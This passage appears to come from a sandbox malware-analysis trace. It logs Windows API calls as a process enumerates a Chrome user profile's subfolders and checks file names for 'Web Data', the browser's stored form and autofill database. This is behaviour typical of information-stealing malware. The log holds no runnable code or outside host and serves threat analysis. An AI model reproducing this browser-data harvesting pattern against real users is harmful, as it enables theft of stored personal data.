returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.117] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.117] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.117] lstrlenA (lpString="data_reduction_proxy_leveldb") returned 28 [0056.117] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x2d79b8 [0056.117] lstrcpyA (in: lpString1=0x2d79b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.117] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0056.117] LocalFree (hMem=0x2d4a98) returned 0x0 [0056.117] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 98 [0056.117] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 98 [0056.117] lstrlenA (lpString="\\*.*") returned 4 [0056.117] LocalAlloc (uFlags=0x40, uBytes=0xe7) returned 0x2d7aa8 [0056.117] lstrcpyA (in: lpString1=0x2d7aa8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0056.117] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*" [0056.117] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2cbb00 [0056.118] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.118] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.118] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.118] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.118] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.118] StrStrIA (lpFirst="000003.log", lpSrch="Web Data") returned 0x0 [0056.118] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.118] StrStrIA (lpFirst="CURRENT", lpSrch="Web Data") returned 0x0 [0056.118] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.118] StrStrIA (lpFirst="LOCK", lpSrch="Web Data") returned 0x0 [0056.118] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.118] StrStrIA (lpFirst="LOG", lpSrch="Web Data") returned 0x0 [0056.118] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.118] StrStrIA (lpFirst="MANIFEST-000002", lpSrch="Web Data") returned 0x0 [0056.118] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0 [0056.118] FindClose (in: hFindFile=0x2cbb00 | out: hFindFile=0x2cbb00) returned 1 [0056.118] LocalFree (hMem=0x2d7aa8) returned 0x0 [0056.118] LocalFree (hMem=0x2d79b8) returned 0x0 [0056.118] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.118] lstrcmpiA (lpString1=".", lpString2="Extension Rules") returned -1 [0056.118] lstrcmpiA (lpString1="..", lpString2="Extension Rules") returned -1 [0056.118] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.118] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.118] lstrlenA (lpString="\\") returned 1 [0056.118] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4a98 [0056.118] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.118] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.118] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.118] lstrlenA (lpString="Extension Rules") returned 15 [0056.118] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x2d79b8 [0056.118] lstrcpyA (in: lpString1=0x2d79b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.119] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension Rules" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0056.119] LocalFree (hMem=0x2d4a98) returned 0x0 [0056.119] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 85 [0056.119] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 85 [0056.119] lstrlenA (lpString="\\*.*") returned 4 [0056.119] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x2d7a98 [0056.119] lstrcpyA (in: lpString1=0x2d7a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0056.119] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*" [0056.119] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2cbb00 [0056.119] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.119] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.119] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.119] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.119] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.119] StrStrIA (lpFirst="000003.log", lpSrch="Web Data") returned 0x0 [0056.119] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.119] StrStrIA (lpFirst="CURRENT", lpSrch="Web Data") returned 0x0 [0056.119] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.119] StrStrIA (lpFirst="LOCK", lpSrch="Web Data") returned 0x0 [0056.119] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.119] StrStrIA (lpFirst="LOG", lpSrch="Web Data") returned 0x0 [0056.119] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.119] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Web Data") returned 0x0 [0056.119] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0 [0056.119] FindClose (in: hFindFile=0x2cbb00 | out: hFindFile=0x2cbb00) returned 1 [0056.120] LocalFree (hMem=0x2d7a98) returned 0x0 [0056.120] LocalFree (hMem=0x2d79b8) returned 0x0 [0056.120] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.120] lstrcmpiA (lpString1=".", lpString2="Extension State") returned -1 [0056.120] lstrcmpiA (lpString1="..", lpString2="Extension State") returned -1 [0056.120] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.120] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.120] lstrlenA (lpString="\\") returned 1 [0056.120] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4a98 [0056.120] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.120] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.120] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.120] lstrlenA (lpString="Extension State") returned 15 [0056.120] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x2d79b8 [0056.120] lstrcpyA (in: lpString1=0x2d79b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.120] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension State" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0056.120] LocalFree (hMem=0x2d4a98) returned 0x0 [0056.120] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 85 [0056.120] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 85 [0056.120] lstrlenA (lpString="\\*.*") returned 4 [0056.120] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x2d7a98 [0056.120] lstrcpyA (in: lpString1=0x2d7a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0056.120] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*" [0056.120] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2cbb00 [0056.121] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.121] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.121] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.121] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.121] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.121] StrStrIA (lpFirst="000003.log", lpSrch="Web Data") returned 0x0 [0056.121] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.121] StrStrIA (lpFirst="CURRENT", lpSrch="Web Data") returned 0x0 [0056.121] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.121] StrStrIA (lpFirst="LOCK", lpSrch="Web Data") returned 0x0 [0056.121] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.121] StrStrIA (lpFirst="LOG", lpSrch="Web Data") returned 0x0 [0056.121] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.121] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Web Data") returned 0x0 [0056.121] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0 [0056.121] FindClose (in: hFindFile=0x2cbb00 | out: hFindFile=0x2cbb00) returned 1 [0056.121] LocalFree (hMem=0x2d7a98) returned 0x0 [0056.121] LocalFree (hMem=0x2d79b8) returned 0x0 [0056.121] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.121] lstrcmpiA (lpString1=".", lpString2="Extensions") returned -1 [0056.121] lstrcmpiA (lpString1="..", lpString2="Extensions") returned -1 [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.122] lstrlenA (lpString="\\") returned 1 [0056.122] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4a98 [0056.122] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.122] lstrlenA (lpString="Extensions") returned 10 [0056.122] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x2d79b8 [0056.122] lstrcpyA (in: lpString1=0x2d79b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.122] LocalFree (hMem=0x2d4a98) returned 0x0 [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.122] lstrlenA (lpString="\\*.*") returned 4 [0056.122] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x2d7a98 [0056.122] lstrcpyA (in: lpString1=0x2d7a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*" [0056.122] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2cbb00 [0056.122] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.122] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.122] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.122] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.122] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.122] lstrcmpiA (lpString1=".", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0056.122] lstrcmpiA (lpString1="..", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.122] lstrlenA (lpString="\\") returned 1 [0056.122] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x2d8b80 [0056.122] lstrcpyA (in: lpString1=0x2d8b80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0056.122] lstrlenA (lpString="aapocclcgogkmnckokdopfmhonfmgoek") returned 32 [0056.122] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x2d8c60 [0056.122] lstrcpyA (in: lpString1=0x2d8c60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0056.122] LocalFree (hMem=0x2d8b80) returned 0x0 [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0056.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0056.122] lstrlenA (lpString="\\*.*") returned 4 [0056.122] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x2d8d60 [0056.122] lstrcpyA (in: lpString1=0x2d8d60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0056.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*" [0056.122] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2cc810 [0056.123] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.123] FindNextFileA (in: hFindFile=0x2cc810, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.123] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.123] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.123] FindNextFileA (in: hFindFile=0x2cc810, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.123] lstrcmpiA (lpString1=".", lpString2="0.9_0") returned -1 [0056.123] lstrcmpiA (lpString1="..", lpString2="0.9_0") returned -1 [0056.123] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0056.123] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0056.123] lstrlenA (lpString="\\") returned 1 [0056.123] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2d9e68 [0056.123] lstrcpyA (in: lpString1=0x2d9e68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0056.123] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0056.123] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned 114 [0056.123] lstrlenA (lpString="0.9_0") returned 5 [0056.123] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x2d9f68 [0056.123] lstrcpyA (in: lpString1=0x2d9f68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 